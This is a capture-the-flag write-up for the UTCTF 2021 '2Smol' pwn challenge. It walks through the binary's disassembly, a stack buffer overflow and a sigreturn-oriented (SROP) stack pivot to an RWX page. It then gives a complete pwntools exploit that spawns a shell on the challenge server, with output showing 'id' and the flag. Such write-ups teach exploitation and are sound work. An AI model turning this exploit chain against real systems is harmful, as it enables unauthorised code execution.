2Smol

by datajerk / burner_herz0g

Tags: bof pwn srop

Rating:

UTCTF 2021

2Smol

> 910
> I made this binary 2smol.
> by `hukc`
> smol

Tags: *pwn x86-64 bof srop*

Summary

> See Some Really Ordinary Program for a nearly an identical writeup.

We have nearly nothing to work with but a `read` and `syscall` gadget; using the return value from `read` we can use that to set `rax` so that we can use *srop*.

Analysis

Checksec

```
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

No mitigations, choose your own adventure--*assuming you can find the bits you need.*

<strike>Decompile with Ghidra</strike> Disassemble with `objdump`

```
0000000000401000 <_start>:
  401000:   e8 08 00 00 00          call   40100d <main>
  401005:   b8 3c 00 00 00          mov    eax,0x3c
  40100a:   0f 05                   syscall
  40100c:   c3                      ret

000000000040100d <main>:
  40100d:   55                      push   rbp
  40100e:   48 89 e5                mov    rbp,rsp
  401011:   48 83 ec 08             sub    rsp,0x8
  401015:   48 8d 7d f8             lea    rdi,[rbp-0x8]
  401019:   e8 05 00 00 00          call   401023 <_read>
```

```
  40101e:   48 89 ec                mov    rsp,rbp
  401021:   5d                      pop    rbp
  401022:   c3                      ret

0000000000401023 <_read>:
  401023:   55                      push   rbp
  401024:   48 89 e5                mov    rbp,rsp
  401027:   48 83 ec 08             sub    rsp,0x8
  40102b:   48 89 fe                mov    rsi,rdi
  40102e:   bf 00 00 00 00          mov    edi,0x0
  401033:   ba 00 02 00 00          mov    edx,0x200
  401038:   b8 00 00 00 00          mov    eax,0x0
  40103d:   0f 05                   syscall
  40103f:   48 89 ec                mov    rsp,rbp
  401042:   5d                      pop    rbp
  401043:   c3                      ret
```

Yep, that's all of it. `main` allocates 8 bytes on the stack, and then calls `read` with said stack location, however `read` sets `rdx` to `0x200` creating a buffer overflow. Send anything over 16 bytes (stack + `push rpb`) and you'll segfault.

That's all there is folks. Not a lot here. No GOT, very few gadgets, no libc, etc..., total *srop* fodder.

```
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x smol
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x smol
0x0000000000402000 0x0000000000403000 0x0000000000000000 rwx [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Before getting into the *srop* details, lets look at the memory map. Other than the stack, there is a 4K page of memory (the heap) that is also `RWX` at `0x402000`. This is something we both have and *know*.

The attack is pretty simple, use `read` to *read* in `0xf` bytes, so that `rax` is `0xf` (rt_sigreturn syscall). Then call `syscall` followed by our sigreturn frame.

That frame will change `rsp` to the middle of page `0x402000` (remember stacks grow *down* in address space), and then set `rip` to `main`. This will basically start us all over again, but this time we know the stack address because we *set* it.

Since we can *read* and we know *where* we will be storing that input, we can just send some shellcode to do the rest.

Exploit

```
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./smol')
binary.symbols['main'] = 0x40100d

if args.REMOTE:
    p = remote('pwn.utctf.live', 9998)
else:
    p = process(binary.path)
```

Standard pwntools header with a symbol added for `main`.

```
syscall = next(binary.search(asm('syscall')))
stack = 0x4027f8

frame = SigreturnFrame()
```

```
frame.rsp = stack
frame.rip = binary.sym.main
```

Find a syscall gadget and setup the location of our new stack in the middle of page `0x402000`, then define our rt_sigreturn frame with `rsp` pointing to our new stack and `rip` pointing to `main`

```
# overflow buffer
# get control of RIP
# call the read function to get 0xf in rax for syscall
# sigret
payload  = b''
payload += 16 * b'A'
payload += p64(binary.sym.main)
payload += p64(syscall)
payload += bytes(frame)

p.send(payload)
time.sleep(.1)
```

The payload just needs to fill up the `8` byte buffer plus 8 bytes for the `push rbp`, then call `main` followed by `syscall` and our frame.

> The .1 sleep is required to allow `read` to exit before our next `read` attack.

```
# with read called, get 0xf in rax
p.send(constants.SYS_rt_sigreturn * b'A')
time.sleep(.1)
```

With the payload now running we need to send `0xf` bytes so that `read` will return with `0xf` in `rax`. After that the rt_sigreturn syscall will kick in and update all the registers with values from our frame, including the new stack (`rsp`) and where we should start executing again (`rip`).

> The .1 sleep is required to allow `read` to exit before our next `read` attack.

```
# new stack that we know address of and its NX
# just put in some shell code and call it
payload  = b''
payload += 16 * b'A'
payload += p64(stack + 8)
payload += asm(shellcraft.sh())

p.send(payload)
p.interactive()
```

Here we are again, at the beginning, all that has changed is we *know* where the stack is. This time set the return address with the location of our shellcode to be appended at the end.

Output:

```
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/utctf2021/smol/smol'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to pwn.utctf.live on port 9998: Done
[*] Switching to interactive mode
$ id
```

```
uid=1000(srop) gid=1000(srop) groups=1000(srop)
$ cat flag.txt
utflag{srop_xd}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/utctf2021/smol).

Comments